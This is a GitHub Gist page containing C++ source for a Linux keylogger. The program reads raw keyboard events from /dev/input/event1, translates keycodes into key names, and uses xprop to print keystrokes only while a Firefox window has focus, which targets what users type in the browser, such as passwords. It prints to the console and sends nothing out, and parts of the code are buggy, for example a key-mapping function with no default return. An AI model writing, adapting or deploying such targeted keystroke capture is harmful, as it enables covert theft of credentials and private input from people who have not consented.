Created
December 18, 2017 09:02
-
-
Save komang4130/dc8ff0a1465b1cd716135b2f3f3ad57c to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
#include <fstream> | |
#include <cstring> | |
#include <linux/input.h> | |
using namespace std; | |
#include <string> | |
#include <iostream> | |
#include <stdio.h> | |
using namespace std; | |
std::string exec(char *cmd) { | |
FILE *pipe = popen(cmd, "r"); | |
if (!pipe) return "ERROR"; | |
char buffer[128]; | |
std::string result = ""; | |
while(!feof(pipe)) { | |
if(fgets(buffer, 128, pipe) != NULL) | |
result += buffer; | |
} | |
pclose(pipe); | |
return result; | |
} | |
std::string toChar(int value) | |
{ | |
switch(value) | |
{ | |
case 1: return "ESC"; | |
case 59: return "F1"; | |
case 60: return "F2"; | |
case 61: return "F3"; | |
case 62: return "F4"; | |
case 63: return "F5"; | |
case 64: return "F6"; | |
case 65: return "F7"; | |
case 66: return "F8"; | |
case 67: return "F9"; | |
case 68: return "F10"; | |
case 87: return "F11"; | |
case 88: return "F12"; | |
case 99: return "PRT SCREEN"; | |
case 110: return "INSERT"; | |
case 111: return "DELETE"; | |
case 104: return "PG UP"; | |
case 109: return "PG DOWN"; | |
case 102: return "HOME"; | |
case 107: return "END"; | |
case 41: return "`"; | |
case 2: return "1 LEFT"; | |
case 3: return "2 LEFT"; | |
case 4: return "3 LEFT"; | |
case 5: return "4 LEFT"; | |
case 6: return "5 LEFT"; | |
case 7: return "6 LEFT"; | |
case 8: return "7 LEFT"; | |
case 9: return "8 LEFT"; | |
case 10: return "9 LEFT"; | |
case 11: return "0 LEFT"; | |
case 12: return "- LEFT"; | |
case 13: return "="; | |
case 14: return "BACKSPACE"; | |
case 69: return "NUMLOCK"; | |
case 98: return "/"; | |
case 55: return "*"; | |
case 74: return "- RIGHT"; | |
case 15: return "TAB"; | |
case 16: return "q"; | |
case 17: return "w"; | |
case 18: return "e"; | |
case 19: return "r"; | |
case 20: return "t"; | |
case 21: return "y"; | |
case 22: return "u"; | |
case 23: return "i"; | |
case 24: return "o"; | |
case 25: return "p"; | |
case 26: return "{"; | |
case 27: return "}"; | |
case 43: return "\\"; | |
case 71: return "7 RIGHT"; | |
case 72: return "8 RIGHT"; | |
case 73: return "9 RIGHT"; | |
case 78: return "+"; | |
case 58: return "CAPLOCK ON"; | |
case 30: return "a"; | |
case 31: return "s"; | |
case 32: return "d"; | |
case 33: return "f"; | |
case 34: return "g"; | |
case 35: return "h"; | |
case 36: return "j"; | |
case 37: return "k"; | |
case 38: return "l"; | |
case 39: return ";"; | |
case 40: return "'"; | |
case 28: return "LEFT ENTER"; | |
case 75: return "4 RIGHT"; | |
case 76: return "5 RIGHT"; | |
case 77: return "6 RIGHT"; | |
case 42: return "LEFT SHIFT"; | |
case 44: return "z"; | |
case 45: return "x"; | |
case 46: return "c"; | |
case 47: return "v"; | |
case 48: return "b"; | |
case 49: return "n"; | |
case 50: return "m"; | |
case 51: return ","; | |
case 52: return ". LEFT"; | |
case 53: return "/"; | |
case 54: return "RIGHT SHIFT"; | |
case 79: return "1 RIGHT"; | |
case 80: return "2 RIGHT"; | |
case 81: return "3 RIGHT"; | |
case 96: return "RIGHT ENTER"; | |
case 29: return "RIGHT CTRL"; | |
case 125: return "WINDOWS"; | |
case 56: return "LEFT ALT"; | |
case 57: return "SPACE"; | |
case 100: return "RIGHT ALT"; | |
case 97: return "LEFT CTRL"; | |
case 105: return "LEFT ARROW"; | |
case 108: return "DOWN ARROW"; | |
case 106: return "RIGHT ARROW"; | |
case 103: return "UP ARROW"; | |
case 82: return "0"; | |
case 83: return ". RIGHT"; | |
} | |
} | |
int check(std::string name) | |
{ | |
std::string::size_type t = name.find("Firefox"); | |
if ( t == std::string::npos ) | |
return 0; | |
return 1; | |
} | |
//structure to hold event info | |
struct input_event event; | |
int main(int argc, char *argv[]) { | |
cout << "Receiving Keyboard Presses!" << endl; | |
//open the file for reading | |
ifstream file("/dev/input/event1");//where input from keyboard store | |
//temp storage for event | |
char data[sizeof(event)]; | |
//check if file opened! | |
if(file.is_open()) | |
{ | |
// xprop -id <window_id> to get window_name | |
string win_name = exec("xprop -id $(xprop -root | awk '/_NET_ACTIVE_WINDOW\\(WINDOW\\)/{print $NF}') | awk '/WM_CLASS\\(STRING\\)/{print $4}'").c_str(); | |
while ( true ) | |
{ | |
std::string win_name = exec("xprop -id $(xprop -root | awk '/_NET_ACTIVE_WINDOW\\(WINDOW\\)/{print $NF}') | awk '/WM_CLASS\\(STRING\\)/{print $4}'").c_str(); | |
while( check(win_name) == 1 ) | |
{ | |
file.read(data, sizeof(event)); | |
//now copy the data to the struct | |
memcpy(&event, data, sizeof(event)); | |
//now lets read the event | |
//event type | |
if(event.type == EV_KEY) | |
cout << "Key Press " << toChar(event.code) << endl; | |
win_name = exec("xprop -id $(xprop -root | awk '/_NET_ACTIVE_WINDOW\\(WINDOW\\)/{print $NF}') | awk '/WM_CLASS\\(STRING\\)/{print $4}'").c_str(); | |
} | |
file.read(data, sizeof(event)); | |
//now copy the data to the struct | |
memcpy(&event, data, sizeof(event)); | |
} | |
//dont forget to close the file | |
file.close(); | |
} | |
else { | |
cout << "Unable to open file!" << endl; | |
return 1; | |
} | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment